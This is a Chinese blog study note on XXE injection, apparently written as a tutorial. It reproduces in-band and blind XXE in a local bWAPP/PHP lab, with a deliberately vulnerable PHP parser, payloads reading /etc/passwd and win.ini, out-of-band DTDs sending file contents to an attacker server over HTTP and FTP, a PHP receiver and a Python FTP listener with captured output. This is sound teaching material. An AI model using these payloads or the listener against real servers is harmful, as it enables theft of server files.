漏洞学习之XXE注入

作者: shiyan 分类: 学习笔记 发布时间: 2017-10-06 23:22

XML基础部分

<?xml version="1.0" encoding="UTF-8"?>       // XML声明
<!DOCTYPE note [                             //定义类型
    <!ELEMENT note (to,from,heading,body)>   //定义元素
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>                // 文档类型定义
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
]>

<note>
  <to>lixin</to>
  <from>shiyan</from>                // 文档元素
  <heading>Reminder</heading>
  <body>Hurry up and send out XXE's article</body>
</note>

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD 主要用来解释文档元素的,它有三种应用形式:

1.内部DTD文档
<!DOCTYPE 根元素 [定义内容]>
2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "文件名">
3内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路劲"[定义内容]>

DTD文档中有很多重要的关键词:

DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

而实体可以理解为变量,它必须在DTD中定义申明,然后再文档中的其他位置引用该变量,实体也是分三种形式,分别是:

1.内部实体
    <!ENTITY 实体名称 "实体的值">
2.外部实体
    <!ENTITY 实体名称 SYSTEM "URI">
3.参数实体
    <!ENTITY % 实体名称 "实体的值">
OR
    <!ENTITY % 实体名称 SYSTEM "URI">

XXE主要分为回显和不回显两个类型。
一般在测试 XXE 的时候,通过 POST 一个 XML 请求,看是出现了报错还是正常的实体解析,比如 POST 一个 <root>shiyan</root> 如果返回页面只出现了 shiyan 则说明正常的实体解析了。当然也可以 POST 一个这样的完整的 XML代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test  "shiyan">
]>
<note>&test;</note>

下面是一个测试代码,可以复制到搭建的环境中, 然后本地 POST 尝试下。

 

<form method="POST" action="">
	<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>
	<input type="submit" value="submit">
</form>

<?php
$keyword = $_POST['keyword'];
$xml_obj = simplexml_load_string($keyword);
print_r($xml_obj);
?>

 

如果发现支持实体解析,那么就开始尝试是否能引入外部实体了。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY shiyan SYSTEM "file://localhost/c:/windows/win.ini">
]>
<root>&shiyan;</root>

OR

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<note>&test;</note>

这两个都一样,只不过是上面的那个是查找 windows/win 下的,下面的那个是 linux 下的代码。
对了,有些情况下,会直接看到 POST 中存在一些 XML 文档元素,我们可以手动的在这些文档元素中,随便输入一些数字或者字母,看看回显的内容中有没有存在可控的参数,如果存在,可以尝试引入外部实体来控制这个可控的参数进行注入。

 

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: text/xml; charset=UTF-8
Referer: http://127.0.0.1/bWAPP/xxe-1.php
Content-Length: 59
Cookie: bdshare_firstime=1504239219561; PHPSESSID=qke00v8tqre5b4tdfcjchmb155; security_level=0
X-Forwarded-For: 0.0.0.0
Connection: close

<reset><login>bee</login><secret>Any bugs?</secret></reset>

 

在这个数据包中,我们发现 bee 这个参数是可控的,我们可以构造如下数据包,进行尝试是否可以注入读取文件。

 

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: text/xml; charset=UTF-8
Referer: http://127.0.0.1/bWAPP/xxe-1.php
Content-Length: 193
Cookie: bdshare_firstime=1504239219561; PHPSESSID=qke00v8tqre5b4tdfcjchmb155; security_level=0
X-Forwarded-For: 0.0.0.0
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file://localhost/c:/windows/win.ini">
]>
<reset>
  <login>&test;</login> 
  <secret>shiyan</secret>
</reset>

 

查看响应包。

 

HTTP/1.1 200 OK
Date: Thu, 05 Oct 2017 14:29:52 GMT
Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
X-Powered-By: PHP/5.4.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 96
Connection: close
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
's secret has been reset!

 

成功回显了我们读取的内容。
这个是在有回显的情况下这样操作的,当页面是无回显的,就是报错页面出现xml解析器,或者出现一些空白页面和报错出现绝对路径等等一些情况,我们无法判断是否支持外部引入实体,那么可以这样操作。

向存在可控参数的地方注入一条向自己服务器发送请求的xml代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "http://localhost/2.txt">    //localhost 为自己服务器的URL地址
]>
<note>&test;</note>

然后我们查看自己服务器日志,可以看出来是否存在外部引入实体。

 

::1 - - [06/Oct/2017:11:19:25 +0800] "GET /2.txt HTTP/1.0" 200 49 "-" "-"
127.0.0.1 - - [06/Oct/2017:11:19:25 +0800] "POST /XXE/test.php HTTP/1.1" 200 325 "http://127.0.0.1/XXE/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

 

可以看出来,存在外部引入,当然我们也可以用参数实体来测试。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % shiyan SYSTEM "http://localhost/2.txt">
%shiyan;
]>

然后我们继续查看日志,看看参数实体可行不。

 

::1 - - [06/Oct/2017:11:31:18 +0800] "GET /2.txt HTTP/1.0" 200 49 "-" "-"
127.0.0.1 - - [06/Oct/2017:11:31:18 +0800] "POST /XXE/test.php HTTP/1.1" 200 1527 "http://127.0.0.1/XXE/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

 

同样的,都成功了,那么就存在外部实体引入,那就很可能存在XXE注入,因为他是无回显的,所以我们只能用 blind xxe 来达到攻击效果。

blind xxe 的原理很简单,就是建立一条带外信道提取数据,利用外部实体中的 URL 发出访问,从而跟攻击者的公网主机,也就是一台攻击者的服务器,从而达到数据的读取。

我们还是利用上面的那个那个代码来当环境,来本地搭建解释下这个原理。

 

<form method="POST" action="">
	<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>
	<input type="submit" value="submit">
</form>

<?php
$keyword = $_POST['keyword'];
$xml_obj = simplexml_load_string($keyword);
echo "<pre>" ;
print_r($xml_obj);
?>

 

 

然后,我们开始构造 payload 1 的 XML 代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///G:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/ceshi/evil.dtd">
%remote;
%send;
]>

其中,第三行把 file 找到的内容赋值给参数 %file ,然后第四行为外部引入攻击者自己服务器的 DTD 文档
然后第五行执行下这个参数 %remote; ,第六行的 %send; 为攻击者自己服务器的 DTD文档 里的参数实体。

http://192.168.1.106/XXE/ceshi/evil.dtd 的内容:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM
'http://192.168.1.106/XXE/ceshi/1.php?file=%file;'>">
%all;

这里是参数实体 %all 的值为后面 "" 这个字符串里的内容,而这个字符串里的内容为把一开始发送的payload 1 里的 file协议 找到的内容作为参数发送到攻击者着的服务器里的另一个 1.php 文件里,而这个字符串赋值给了参数 %send; ,在这里先运行了下 %all; 所以在一开始的那个 payload 1 里只运行了 %send; 这个值是上面解释的那些内容,那我们再看下这个 1.php 里到底是什么内容吧。

1.php 内容:

<?php
file_put_contents("1.txt", $_GET[‘file’]);
?>

就是把接受到的参数写到 1.TXT 这个文档里,可能看到这里,会有点乱的感觉,我在整理下思路。
整个过程都是本地的,只是模拟下原理,攻击者(公网) 向存在 XXE 漏洞的服务器发送了一条payload,这个 payload 的功能是查找服务器本机某个文件,然后向攻击者着的服务器请求一条URL请求,获取这个恶意的 dtd 内容,当存在漏洞的服务器读取到这个 dtd 的内容为把一开始自己找的本地的那个文件内容做为参数去传递给攻击者服务器的这个 1.php 文件,这个1.php 的文件是把获取的这个参数本地保存下来,从而,就这样的得到了回显的内容。

在那个 dtd 文档里,用编码 &#x25; 代替了 % 是因为嵌套引用外部参数实体,如果直接利用%,在引用的时候会导致找不到该参数实体名称,我们先演示一下上面的样例。

 

192.168.1.106 - - [06/Oct/2017:17:04:20 +0800] "GET /XXE/ceshi/evil.dtd HTTP/1.0" 200 108 "-" "-"
192.168.1.106 - - [06/Oct/2017:17:04:20 +0800] "GET /XXE/ceshi/1.php?file=shiyan521,nishizuiyouxiudebaimaozi! HTTP/1.0" 200 - "-" "-"
127.0.0.1 - - [06/Oct/2017:17:04:20 +0800] "POST /XXE/ceshi/test1.php HTTP/1.1" 200 603 "http://127.0.0.1/XXE/ceshi/test1.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

 

我们查看日志,可以发现这个攻击成功了,但是有一点,就是这样的读取文件的时候,如果文件里存在空格和尖括号的时候,这这种读取方式就会报错,然后攻击失败,由于本机环境是用的PHP的环境,所以可以使用 php://filter读取base64编码 这个方式来读取,就不会出错了,那我们改下 payload 1 来测试下。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/ceshi/evil.dtd">
%remote;
%send;
]>

我们查看下那个 1.txt 文件,

OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCg==

是 base64 编码的,我们解码一下。

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]

成功的读取到了文件内容,这就是简单的原理,一般我们都是用的 vps ,然后利用 ftp 协议来读取的,那我们再演示一下真正的攻击过程。

这个思路和上面的原理一样,准备一台客户端,可以内网,当然公网主机最好了,然后存在漏洞的web服务器,和 VPS ,如果直接公网主机的话,那就省了。

1. 客户端发送 payload 1 给存在漏洞的 web 服务器
2. web 服务器向 VPS 获取到恶意的 DTD ,并执行读取到的这个恶意的 DTD 内容
3. web 服务器把读取本机的那个文件的内容去访问特定 FTP 或者 HTTP
4. 攻击者通过 VPS 监听这个特定的端口得到回显的内容

payload 1 :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [%remote;]>

和上面的思路一样,把 payload 1 发送给存在漏洞的 Web 服务器,然后存在漏洞的 web 服务器回去访问这个 xml 的内容。

test.xml :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % aaa "<!ENTITY &#37; bbb SYSTEM 'ftp://攻击者(公网):xx/%file;'>">
%aaa;
%bbb;

端口可以随便设置一些空闲的端口,看到这里,是不是和上面的思路差不多,都是通过URL来带入参数的。

这里说一下,结合着上面的内容,我们都需要把 < > " ' 都HTML实体编码一下,payload 1 的编码就行了,第二个只需要编码那一个符号就行,我已经编码了。

&lt;  <  小于
&gt;  >  大于
&apos;  '  单引号
&quot;  "  双引号

由于我本人没有公网的 VPS 所以,这个就不实体再编码一下了,毕竟,我没实战漏洞环境和VPS 啊啊啊啊!!!

当我们把这 test.xml 部署好后,然后向存在漏洞的 Web 服务器发送 payload 1 的内容后,我们剩下的就是在 VPS 里,打开 ftp.py 监听 自己设置的特定端口就行了。

我本地复现了使用 ftp.py 的过程,但是由于我环境的问题还是什么原因,接受的结果都是无法正常获取信息,不过作为笔记,我还是把过程写下来。

1. 打开虚拟机环境部署上面那个一直用的测试xml的PHP代码(192.168.1.112)
2. 本机环境下添加 shiyan.xml 内容,并打开 XAMPP 集成环境工具(192.168.1.106)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % aaa "<!ENTITY &#37; bbb SYSTEM 'ftp://192.168.1.106:1314/%file;'>">
%aaa;
%bbb;

由于在传输信息中,有空格或者有换行的,都无法正常获取的,所以我继续用了 php://filter读取base64编码 这个编码来读取信息,正常实战环境中,好像不用,,,,我看 i春秋 上面的那个就是直接利用 file协议 。

3. 打开 cmd 运行监听 ftp 的 ftp.py 的脚本,由于我本人对 socket 真心不太会,就懂个开启一个链接,然后设置下端口开始监听,和一些简单的传输,我用的 luan 的 ftp.py 的脚本,下面贴一下核心简版的,毕竟传播 exp 是那个啥的行为。

import socket,sys
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',1314))
s.listen(1)
print('XXE-FTP listening')

while True:
	ss, addr = s.accept()
	ss.settimeout(1)
	try:
		data = ss.recv(10240).rstrip('\r\n')
		if data[:5] == 'GET /':
			print 'HTTP connect from' , ':'.join(map(lambda x:str(x),addr))
			print data
			print '\n\n'
			ss.send(dtd)
	except socket.timeout:
		print 'FTP connect from' , ':'.join(map(lambda x:str(x),addr))
		ss.settimeout(None)
		ss.send('220 web Server\r\n')
		print 'Data:'
		while True:
			data = ss.recv(10240).rstrip('\r\n')
			if data[:4] == 'USER':
				ss.send('200 Ok\r\n')
			elif data[:4] == 'TYPE':
				ss.send('200 Ok\r\n')
			elif data[:4] == 'SIZE':
				ss.send('200 Ok\r\n')
			elif data[:3] == 'CWD':
				sys.stdout.write(data[4:].rstrip('/web'))
				if '\n' not in data:
					sys.stdout.write('/')
				ss.send('200 Ok\r\n')
			elif data[:4] == 'EPRT':
				lan_ip = data.split(data[5])[2]
				print '\n================================='
				print 'Got IP =>',lan_ip
				ss.send('200 Ok\r\n')
			else:
				ss.send('666 web\r\n')
				print '\nspecial command received:',data
				print '\n\n'
				break
	ss.close()
s.close()

 

4. 向服务器端发送 payload 1 的内容(POST 192.168.1.112)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [%remote;]>

5. 虽说我的 ftp.py 报错了,但是还是接受到一堆数据。。。(PS:他的这个ftp,要是懂的话,还得再改改,不懂的话,就直接用下面压缩包里 ichunqiu 里的那个 ftp.py 把)

 

C:\Users\shiyan>G:/shiyan.py
XXE-FTP listening
FTP connect from 192.168.1.112:1165
Data:
/OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KYWlmPU1QRUdWaWRlbw0KYWlmYz1NUEVHVmlkZW8NCmFpZmY9TVBFR1ZpZGVvDQphc2Y9TVBFR1ZpZGVvDQphc3g9TVBFR1ZpZGVvDQphdT1NUEVHVmlkZW8NCm0xdj1NUEVHVmlkZW8NCm0zdT1NUEVHVmlkZW8NCm1wMj1NUEVHVmlkZW8NCm1wMnY9TVBFR1ZpZGVvDQptcDM9TVBFR1ZpZGVvDQptcGE9TVBFR1ZpZGVvDQptcGU9TVBFR1ZpZGVvDQptcGVnPU1QRUdWaWRlbw0KbXBnPU1QRUdWaWRlbw0KbXB2Mj1NUEVHVmlkZW8NCnNuZD1NUEVHVmlkZW8NCndheD1NUEVHVmlkZW8NCndtPU1QRUdWaWRlbw0Kd21hPU1QRUdWaWRlbw0Kd212PU1QRUdWaWRlbw0Kd214PU1QRUdWaWRlbw0Kd3BsPU1QRUdWaWRlbw0Kd3Z4PU1QRUdWaWRlbw0K/
special command received: MDTM /OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KYWlmPU1QRUdWaWRlbw0KYWlmYz1NUEVHVmlkZW8NCmFpZmY9TVBFR1ZpZGVvDQphc2Y9TVBFR1ZpZGVvDQphc3g9TVBFR1ZpZGVvDQphdT1NUEVHVmlkZW8NCm0xdj1NUEVHVmlkZW8NCm0zdT1NUEVHVmlkZW8NCm1wMj1NUEVHVmlkZW8NCm1wMnY9TVBFR1ZpZGVvDQptcDM9TVBFR1ZpZGVvDQptcGE9TVBFR1ZpZGVvDQptcGU9TVBFR1ZpZGVvDQptcGVnPU1QRUdWaWRlbw0KbXBnPU1QRUdWaWRlbw0KbXB2Mj1NUEVHVmlkZW8NCnNuZD1NUEVHVmlkZW8NCndheD1NUEVHVmlkZW8NCndtPU1QRUdWaWRlbw0Kd21hPU1QRUdWaWRlbw0Kd212PU1QRUdWaWRlbw0Kd214PU1QRUdWaWRlbw0Kd3BsPU1QRUdWaWRlbw0Kd3Z4PU1QRUdWaWRlbw0K



FTP connect from 192.168.1.112:1166
Data:

special command received: EPSV

 

6. 由于是报错状态,所以脚本没有正常退出,不过通过 base64解码还是能得到传输的数据

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]

总体来说也就这些东西。

参考文章:
http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2014-074069
https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://www.ichunqiu.com/open/58939
https://thief.one/2017/06/20/1/
http://bobao.360.cn/learning/detail/3841.html

两个 ftp.py (一个是 ichunqiu 的,一个是luan的,ichunqiu 的我应该没看错代码):

链接: https://pan.baidu.com/s/1c8loEq 密码: tq8p

PS:ftp.py 主要是使用ftp协议,而ftp协议不同于http协议是,http是一次性的数据包,而我们的数据都是在URL中,如果
读取的文件中出现空格或者换行就违背了协议,无法传输,所以一开始那个我用的编码来传输,而 ftp 是交互式的,先建立连接
然后根据不停的状态码的交互,最后获取到数据,所以空格,换行没什么问题,这也是 ftp.py 里后面我不懂的那些部分代码

容易存在XXE的地方:
1.基于XML的RPC服务 或 基于SOAP的WebService
2.开发框架的对Content-Type智能识别导致的XXE
3.使用SAML的登录接口
4.解析DOCX文件

强制报错回显:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://xxe.sh1yan.top/shiyan.dtd">
<root>
<search>name</search>
</root>

DTD文档:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % paraml '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'>
%paraml;
%external;

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注